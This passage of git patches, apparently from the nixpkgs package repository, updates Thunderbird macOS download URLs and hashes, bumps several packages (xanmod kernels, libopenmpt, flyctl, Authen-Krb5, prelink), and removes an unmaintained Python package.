-      sha256 = "74eccba37c3992556dfe124b85fc9134b78fc03fa6fc3a4c81c8131470592895";
+      sha256 = "fb96cf25e618199c2bc16ecfd5f5f136916300c154170335822bc4ed45e79b33";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/gd/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/gd/Thunderbird%20140.0.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "1176cc0c6a23df107264ad7cd7d83862b29d354c03c198f9bd2558f0a2d218d8";
+      sha256 = "3672567442dd18ba2a3e4aece3080168381f11f71a2e511f6fc7c8bbb2674911";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/gl/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/gl/Thunderbird%20140.0.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "3af59caf92d2195b039218a6517d68c557452b20d888f9ac1cbadb60ce9fd4d0";
+      sha256 = "f99690206ef559d90d308d96d841c7946928c15cd63ec1e7bb61e0e6ffa29bf5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/he/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/he/Thunderbird%20140.0.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "38793e93483928207ed0a599546c85eaaf987f15351bac52bda811183c86e225";
+      sha256 = "c37157620a24874643aed902ec63dfa6dd87baa9793f762c8a899a4537fdb590";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/hr/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/hr/Thunderbird%20140.0.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "e07947d0b4f147c5fe44c9da4b020e3756dd59bb7aa02c23d9693326ea336808";
+      sha256 = "c9dfe1d36cbf946c7d0470e4795e6763e6a858b30f1ed970911e7767acbdcb11";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/hsb/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/hsb/Thunderbird%20140.0.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "94f3fb73dc47589750d398939181919cabcd50f1d68088ae8356a078db6ef357";
+      sha256 = "c33da4110bcde79556c5a10249d237cb537f567f66e8e6c4282a03c843bed07e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/hu/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/hu/Thunderbird%20140.0.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "616254454de1a74a14c2851f74fb6db75d1119df4d38630cc11edba5ce8f8499";
+      sha256 = "c0b29fc2f564854a1cc8ca0cae0c7776a2b9039fbdf802c22c83f72d0bcf1657";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/hy-AM/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/hy-AM/Thunderbird%20140.0.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "8be90ac6541d8822ae6758066c9caea176a3b9d4cec5f4d79f885912388e1f1f";
+      sha256 = "5e3ce57c38c9086dff3e2fdef8fdd010a0631a6b4dc2802e614a01b733141a7f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/id/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/id/Thunderbird%20140.0.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "5720d86da6ba258d897db7ce66fe178da13e5410c73d31f259b5b9160caeee72";
+      sha256 = "722da355ddf1f167c33bd551c23e9848b4c0543236b613b6a1596e025394b7ef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/is/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/is/Thunderbird%20140.0.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "c78d3389d2da92b9a8f7bf9c423750a0c9a40f80be726b692c2795d24dad5f02";
+      sha256 = "1366f639310cfe346619a00da8bb100d8010b2e288b94ce31c1151a74aaeb1a5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/it/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/it/Thunderbird%20140.0.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "d140f278b8a540edfebe6d877630549e5c2fec775d11dc29c0d9226581efe814";
+      sha256 = "719d86b1c6a26f08bf1331c51c73b5fd43f5c9e773ecac8b691c84fdc6967913";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ja-JP-mac/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ja-JP-mac/Thunderbird%20140.0.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "f5a78c402cb350e8dcfa7d97ee320619dd49159c37779f0fb119909ade6e2637";
+      sha256 = "32862a5676057710330afb65f93a1702a21f579c91d0cb3effd3bc87ec147440";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ka/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ka/Thunderbird%20140.0.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "9d46dd6cb1317c55a62aa914f7ade3dde1dec0b339b20a7175944354f37eea3e";
+      sha256 = "95c590bdefa41ca99a2a9e3d7b67cbf935a828301207247b03f6bf636536601a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/kab/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/kab/Thunderbird%20140.0.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "2618a2a5ad922275f410c7a36d3e15e82ce667bfc8597005f3dc062403be5348";
+      sha256 = "fdbbb3e523eb7bab02278453bf64e7748d8034a8e244013200471e4cc659ef20";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/kk/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/kk/Thunderbird%20140.0.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "1b5cafd8bab4e543aa78bf964ad8d49cf1acbc48c6ed087dc036d5d322effc0e";
+      sha256 = "4d5bae92ac0fd6c86f6a2296e774b91074653713d72ff37f589d1ec1afaaeb78";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ko/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ko/Thunderbird%20140.0.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "f8173e84dd82ac4da522c71a875242eaf8eb107b8987606992d7393f992b1743";
+      sha256 = "a7fd1b29ea7834e078ad3a1495fcb44012419d204afde5940f8faa6ac0aac0d1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/lt/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/lt/Thunderbird%20140.0.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "ffc5b3bb98a45b5bc4c4dea4737d820db8654c8e68d0441d179333a43a04e5ae";
+      sha256 = "a1c547989111a3a9e7719fc2aae5e6629446db0f4e5ba5c0eb7badb9d7e13a1c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/lv/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/lv/Thunderbird%20140.0.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "920dbeed505f3d55a750aa047b899fb18844751833268a733a9afe87501b36af";
+      sha256 = "70bb9ccc58374fee15faaee0d475fd821fc13b146dd4bf517312d81b670d48f9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ms/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ms/Thunderbird%20140.0.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "0d4cd6ab0b8da80c5ee4c263f59e132d417dd91b081441d7edb0ead9a3f1c57f";
+      sha256 = "df6391501862a1c671eb9307adf10406fd94772fde777c133fa0c0715be14ed8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/nb-NO/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/nb-NO/Thunderbird%20140.0.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "3aa1bf5c6f157b2c1c4ca100e3690242390f344a9ce66f4be31655fab46c486a";
+      sha256 = "cc37ccfdd8e1969abbc5e40d89967e555f6edb73551778d992520eea5da0000b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/nl/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/nl/Thunderbird%20140.0.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "8e0990be0ee10000d2c27a8fa81636eda6e14bdd1e4620da9c64e25d6665650a";
+      sha256 = "843f557a0bf080adb6e07b1cd599a27520436c50ea27e40120be772f13ff5d09";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/nn-NO/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/nn-NO/Thunderbird%20140.0.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "d23c36020effe227a591bb743c440df3c54866b641b6a1c15e113c7fb4e65098";
+      sha256 = "fa0f91df5692ef0434ebb85ff705956cd6b5b73b6c019c873ad83af0c9a06461";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/pa-IN/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/pa-IN/Thunderbird%20140.0.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "2779f912dcd7001e601291c112c46f4be8fdc249942637e65293ca4c84741e97";
+      sha256 = "4206104601c0aefd646fa5d930b11dec7903f3c77a5a74a9f1321afccd7e655a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/pl/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/pl/Thunderbird%20140.0.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "ef86339886b50f980bbbd69720e8fb134859eb17a0435c2cdfd8b7238e155cd6";
+      sha256 = "32736afce67be152bba80e13f50fbf63d2c6cf15b17428f30c7d24846781f0e1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/pt-BR/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/pt-BR/Thunderbird%20140.0.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "f4a755f3e3628537083efdf067e9162d7a654c8d8bf93ee207c46c3b858a7ba6";
+      sha256 = "71ae795a2be7a6bf7ef43ddcc1388f24b77c6f68c70530e876185f79d71cb405";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/pt-PT/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/pt-PT/Thunderbird%20140.0.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "9af8fc19266867a83912fa38cdf3ec6dfbff4edb33e6b3d4722e77ffeeb83f78";
+      sha256 = "f5fa99e49892c89cea123acdca405f16124d711755eab0131d25d0b7ed7704a7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/rm/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/rm/Thunderbird%20140.0.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "f21d4b178e0287333e8d98e11e2d5068505528ea2414034258eef581cc9c30c0";
+      sha256 = "7923f1b61c3b7b24a2f2867415605afc7771a29318f0e09fe6f752b0816397cd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ro/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ro/Thunderbird%20140.0.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "5f40545ad6094ad600b1627386a7943f81266380c41674c781ffd9fe62612903";
+      sha256 = "02ef69f67af8ce479928252aaf93aa74a766b5d4ad2674b1520aeb51287b24f5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/ru/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/ru/Thunderbird%20140.0.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "96026e6d4ad332a010fee85fd4d6241479baea225edf3259dd80121608fb3481";
+      sha256 = "8d3788a2ca39fe81e3ccb28dd46f1c69945987db7ab26439e3fb5524eed45d64";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/sk/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/sk/Thunderbird%20140.0.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "bf4adb8af0be6cc6318be35a41382fd8fad396e650e4773d61431629ec9bd0d4";
+      sha256 = "876347a307912740ee40d1b7aae19ae448f73f4093bd82c3bfb0b2ebdc9e0705";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/sl/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/sl/Thunderbird%20140.0.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "8e43e059551181d03b9c9b93fe41669c648b5b63efd8ef629ba46d06ac185ead";
+      sha256 = "50975cc67ec3db95a5ac17ca1ff6bbf5d688743d491b5a5a034f2fd178477ac9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/sq/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/sq/Thunderbird%20140.0.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "ad063957d9adbe51531703b622c8a563b52db1d2833e49e5c835597c04bd113c";
+      sha256 = "97ca3700aa41bde20c12f0a789c13f7e5098db67a9601f8766778af0547fd376";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/sr/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/sr/Thunderbird%20140.0.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "ac81d1bf3b680a89e56f7e774aef826def3f98902e1b0bb106782a35849ee566";
+      sha256 = "290bd2b71e2ff189050fac56d71803d063271226006ecf87621b83fdf83a1572";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/sv-SE/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/sv-SE/Thunderbird%20140.0.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "1675bc5e895bc9ee16d966c7fd830b602d91636ed9c931dda17d7cede0e21c76";
+      sha256 = "fb493eb5d4a5e50c49e49c12ed99c556b80e86bff0efa6356bdce94f83f69ca7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/th/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/th/Thunderbird%20140.0.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "6ed2b08ba111ec75537be28e4f2719a04e7e27e9781ec4de42c47100d5f98b6e";
+      sha256 = "4442017719a0dcc84a31f2a9d5d806cab03834b0c9c54ea9e3c409941195a9f9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/tr/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/tr/Thunderbird%20140.0.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "4775f57c64fbb5ee8376b63e59b87fcfaf6d84aa3ce6091b9b10b197a8e856c5";
+      sha256 = "abae3714a23b03e97791937b7fa30a287eb21087bee5f486309a46cba53ab4ca";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/uk/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/uk/Thunderbird%20140.0.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "eb29798c3f2d82bda2d2597b89c9b8f7371dd487f9756197159d83fe25054902";
+      sha256 = "73dc58c076fd95b613e471edc4b8991bfac6e6ace1a6127112620ac105c9c0b7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/uz/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/uz/Thunderbird%20140.0.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "c3eda53b62436fe773f5af0232e3acdb7c201d9f20e6953de1ed7d7bc7e017c3";
+      sha256 = "100fee1106e2dc0dac058b9021a2a420661a04c8f4f53f674d34d510098732c0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/vi/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/vi/Thunderbird%20140.0.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "514cc224a22d25c7c14fd1737e0e41b2a414abdfc1ff160b243ee4e211e0baf0";
+      sha256 = "2d9745cb1becf8cabe819c41d730cbb787eab5111ac1365a821c53c0eba27fcb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/zh-CN/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/zh-CN/Thunderbird%20140.0.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "64ebd8b5af4ecf2b6c67be685c0b3a1e2f4f6ebbe88f35d5ee3e8d54eb5528dc";
+      sha256 = "a06f684942163984300dc96a64b0637c408bc7b61a43b9fa30a556a634033fbd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/mac/zh-TW/Thunderbird%20139.0.2.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0/mac/zh-TW/Thunderbird%20140.0.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "eedcf8b19809349b8f622917bf3d161d75cbc384207f2425e9afd911927640cf";
+      sha256 = "634062fb991d8b9bbfb98c739478cf25208a3dc2132956ddc94426c3057a9a52";
     }
   ];
 }

From 0eb737aedadeec11df7d1d9da5ef7343b330bc77 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Mon, 7 Jul 2025 08:33:49 +0200
Subject: [PATCH 2153/4511] linux_xanmod: 6.12.35 -> 6.12.36

(cherry picked from commit aa2e1fff170a8d60f06a194b011409c3432f1797)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index fcc627f23b49..15eaa924dc16 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -14,8 +14,8 @@ let
   # kernel config in the xanmod version commit
   variants = {
     lts = {
-      version = "6.12.35";
-      hash = "sha256-cvpt18bGeTj6hcUnGLPGAHeWdWyRNh/NmXROBoRUhqw=";
+      version = "6.12.36";
+      hash = "sha256-F/vdX8vAKf2/70Kni1UPcx/XBNF1b9tcoyzV4+q2/rY=";
     };
     main = {
       version = "6.15.4";

From 78d6543ff583175c5ad5f5ac5701a0200581e1a5 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Mon, 7 Jul 2025 08:43:10 +0200
Subject: [PATCH 2154/4511] linux_xanmod_latest: 6.15.4 -> 6.15.5

(cherry picked from commit 8302e1cd19561b2b35536b5255b2d4578adf1f57)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 15eaa924dc16..d9767d286aac 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -18,8 +18,8 @@ let
       hash = "sha256-F/vdX8vAKf2/70Kni1UPcx/XBNF1b9tcoyzV4+q2/rY=";
     };
     main = {
-      version = "6.15.4";
-      hash = "sha256-6c60l4bQm6zoWhFXD9KZObnIqV6gGFRt9EdKZmBAaq8=";
+      version = "6.15.5";
+      hash = "sha256-jw5l0nd7ClDwMLI6n3LmJ+0MprcgTlsHQKpsdX6hFZs=";
     };
   };
 

From 39f644b954fcb15a520bbd677fa736b9aa43d47c Mon Sep 17 00:00:00 2001
From: OPNA2608 <opna2608@protonmail.com>
Date: Tue, 8 Jul 2025 15:13:58 +0200
Subject: [PATCH 2155/4511] libopenmpt: 0.7.13 -> 0.7.14

---
 pkgs/by-name/li/libopenmpt/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libopenmpt/package.nix b/pkgs/by-name/li/libopenmpt/package.nix
index b9a7c8fd31b5..751bda912407 100644
--- a/pkgs/by-name/li/libopenmpt/package.nix
+++ b/pkgs/by-name/li/libopenmpt/package.nix
@@ -17,7 +17,7 @@
 
 stdenv.mkDerivation rec {
   pname = "libopenmpt";
-  version = "0.7.13";
+  version = "0.7.14";
 
   outputs = [
     "out"
@@ -27,7 +27,7 @@ stdenv.mkDerivation rec {
 
   src = fetchurl {
     url = "https://lib.openmpt.org/files/libopenmpt/src/libopenmpt-${version}+release.autotools.tar.gz";
-    hash = "sha256-3NfN5PnEmOtJbEVW4cG4E1Pip0dH6CcKQlZRF+pC4fE=";
+    hash = "sha256-riGP7KwHSUeP6e23FZqzKkkEc2rRxaEQNXfRjmic09k=";
   };
 
   enableParallelBuilding = true;

From 3683486a3736c135bcc90177cfc13c0728cb1be0 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 7 Jul 2025 15:21:37 +0000
Subject: [PATCH 2156/4511] flyctl: 0.3.145 -> 0.3.149

(cherry picked from commit 73ad097b9eb7f1f7692d2f3339eb3e4d8384018b)
---
 pkgs/by-name/fl/flyctl/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fl/flyctl/package.nix b/pkgs/by-name/fl/flyctl/package.nix
index 52fbfab29283..375b4ba53aa7 100644
--- a/pkgs/by-name/fl/flyctl/package.nix
+++ b/pkgs/by-name/fl/flyctl/package.nix
@@ -9,13 +9,13 @@
 
 buildGoModule rec {
   pname = "flyctl";
-  version = "0.3.145";
+  version = "0.3.149";
 
   src = fetchFromGitHub {
     owner = "superfly";
     repo = "flyctl";
     rev = "v${version}";
-    hash = "sha256-fMBKuIzycuBMtkaGZPJmfRhYntER+yFzAA6mTCLuhws=";
+    hash = "sha256-9kzyQH5oJr8e0yYgTi7wBmnYRjyeiFffJccuPiAF5JQ=";
   };
 
   vendorHash = "sha256-G+RT2teg1+AoLJRjYKnQtVcGH3sbtrxhklQfGMIod+0=";

From c81ff4d6f9298732b4388bb4c266e65c6b4c2d02 Mon Sep 17 00:00:00 2001
From: Priyanshu Tripathi <tripapri@deshaw.com>
Date: Wed, 21 May 2025 08:25:33 -0400
Subject: [PATCH 2157/4511] perlPackages.AuthenKrb5: 1.905 -> 1.906

(cherry picked from commit 82940352af524838144370e3941c3098cb9f2253)
---
 pkgs/top-level/perl-packages.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/top-level/perl-packages.nix b/pkgs/top-level/perl-packages.nix
index baddbea972e2..e6a24cbcb3d5 100644
--- a/pkgs/top-level/perl-packages.nix
+++ b/pkgs/top-level/perl-packages.nix
@@ -1908,10 +1908,10 @@ with self;
 
   AuthenKrb5 = buildPerlModule {
     pname = "Authen-Krb5";
-    version = "1.905";
+    version = "1.906";
     src = fetchurl {
-      url = "mirror://cpan/authors/id/I/IO/IOANR/Authen-Krb5-1.905.tar.gz";
-      hash = "sha256-13sAuxUBpW9xGOkarAx+Qi2888QY+c6YuAF3HDqg900=";
+      url = "mirror://cpan/authors/id/O/OD/ODENBACH/Authen-Krb5-1.906.tar.gz";
+      hash = "sha256-LcCSjvsTtfMF3zRSCI5j+StnrOqH+9RwMI9GD3kSboQ=";
     };
     propagatedBuildInputs = [ pkgs.libkrb5 ];
     buildInputs = [

From a8baf5245410bd4ab15a889785f1e51916f99a37 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Mon, 28 Apr 2025 22:59:06 +0100
Subject: [PATCH 2158/4511] prelink: unstable-2019-06-24 ->
 20151030-unstable-2024-07-02

Without the change build fails on `gcc-14` as
https://hydra.nixos.org/build/294837353:

    execstack.c: In function 'execstack_make_rdwr':
    execstack.c:138:17: error: passing argument 1 of 'asprintf' from incompatible pointer type []
      138 |       asprintf (&prelink_path, "%s/%s", dirname, PRELINK_PROG EXEEXT);
          |                 ^~~~~~~~~~~~~
          |                 |
          |                 const char **

(cherry picked from commit 22d5893faec01fce7b9abbe9f9ba415f924c21b0)
---
 pkgs/by-name/pr/prelink/package.nix | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/pr/prelink/package.nix b/pkgs/by-name/pr/prelink/package.nix
index b149e2e857f5..b5328d7b5d05 100644
--- a/pkgs/by-name/pr/prelink/package.nix
+++ b/pkgs/by-name/pr/prelink/package.nix
@@ -5,17 +5,18 @@
   autoreconfHook,
   libelf,
   libiberty,
+  unstableGitUpdater,
 }:
 
 stdenv.mkDerivation {
   pname = "prelink";
-  version = "unstable-2019-06-24";
+  version = "20151030-unstable-2024-07-02";
 
   src = fetchgit {
-    url = "https://git.yoctoproject.org/git/prelink-cross";
+    url = "https://git.yoctoproject.org/prelink-cross";
     branchName = "cross_prelink";
-    rev = "f9975537dbfd9ade0fc813bd5cf5fcbe41753a37";
-    sha256 = "sha256-O9/oZooLRyUBBZX3SFcB6LFMmi2vQqkUlqtZnrq5oZc=";
+    rev = "ff2561c02ade96c5d4d56ddd4e27ff064840a176";
+    sha256 = "sha256-wmX7ybrZDWEop9fiInZMvgK/fpEk3sq+Wu8DSWWIvQY=";
   };
 
   strictDeps = true;
@@ -40,6 +41,8 @@ stdenv.mkDerivation {
 
   enableParallelBuilding = true;
 
+  passthru.updateScript = unstableGitUpdater { };
+
   meta = with lib; {
     description = "ELF prelinking utility to speed up dynamic linking";
     homepage = "https://wiki.yoctoproject.org/wiki/Cross-Prelink";

From 320124100c1ef041da9fdf6ca2c89ce0e587d287 Mon Sep 17 00:00:00 2001
From: Sarah Clark <seclark@nextquestion.net>
Date: Tue, 3 Jun 2025 12:30:13 -0700
Subject: [PATCH 2159/4511] python3Packages.curve25519-donna: remove as
 obsolete

No maintainer, last change in 2015, no dependents.

(cherry picked from commit 7b3197bc1d5ed03c305704dfe008ad213e921f1f)
---
 .../curve25519-donna/default.nix              | 23 -------------------
 pkgs/top-level/python-aliases.nix             |  1 +
 pkgs/top-level/python-packages.nix            |  2 --
 3 files changed, 1 insertion(+), 25 deletions(-)
 delete mode 100644 pkgs/development/python-modules/curve25519-donna/default.nix

diff --git a/pkgs/development/python-modules/curve25519-donna/default.nix b/pkgs/development/python-modules/curve25519-donna/default.nix
deleted file mode 100644
index 8ff358be6905..000000000000
--- a/pkgs/development/python-modules/curve25519-donna/default.nix
+++ /dev/null
@@ -1,23 +0,0 @@
-{
-  lib,
-  buildPythonPackage,
-  fetchPypi,
-}:
-
-buildPythonPackage rec {
-  pname = "curve25519-donna";
-  version = "1.3";
-  format = "setuptools";
-
-  src = fetchPypi {
-    inherit pname version;
-    sha256 = "1w0vkjyh4ki9n98lr2hg09f1lr1g3pz48kshrlic01ba6pasj60q";
-  };
-
-  meta = with lib; {
-    description = "Python wrapper for the portable curve25519-donna implementation";
-    homepage = "http://code.google.com/p/curve25519-donna/";
-    license = licenses.bsd3;
-    maintainers = [ ];
-  };
-}
diff --git a/pkgs/top-level/python-aliases.nix b/pkgs/top-level/python-aliases.nix
index cc2466fbc39a..2a13d67ef5ff 100644
--- a/pkgs/top-level/python-aliases.nix
